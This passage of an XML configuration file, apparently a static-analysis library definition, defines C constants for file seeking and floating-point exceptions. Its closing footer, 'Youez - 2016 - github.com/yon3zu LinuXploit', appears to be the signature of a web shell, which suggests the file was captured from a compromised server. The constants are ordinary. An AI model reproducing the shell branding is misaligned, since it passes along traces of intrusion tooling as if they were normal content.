  <define name="SEEK_SET" value="0"/>
  <!-- https://en.cppreference.com/w/c/numeric/fenv/FE_exceptions -->
  <define name="FE_INEXACT" value="1"/>
  <define name="FE_UNDERFLOW" value="2"/>
  <define name="FE_OVERFLOW" value="4"/>
  <define name="FE_DIVBYZERO" value="8"/>
  <define name="FE_INVALID" value="16"/>
  <define name="FE_ALL_EXCEPT" value="31"/>
</def>

Youez - 2016 - github.com/yon3zu
LinuXploit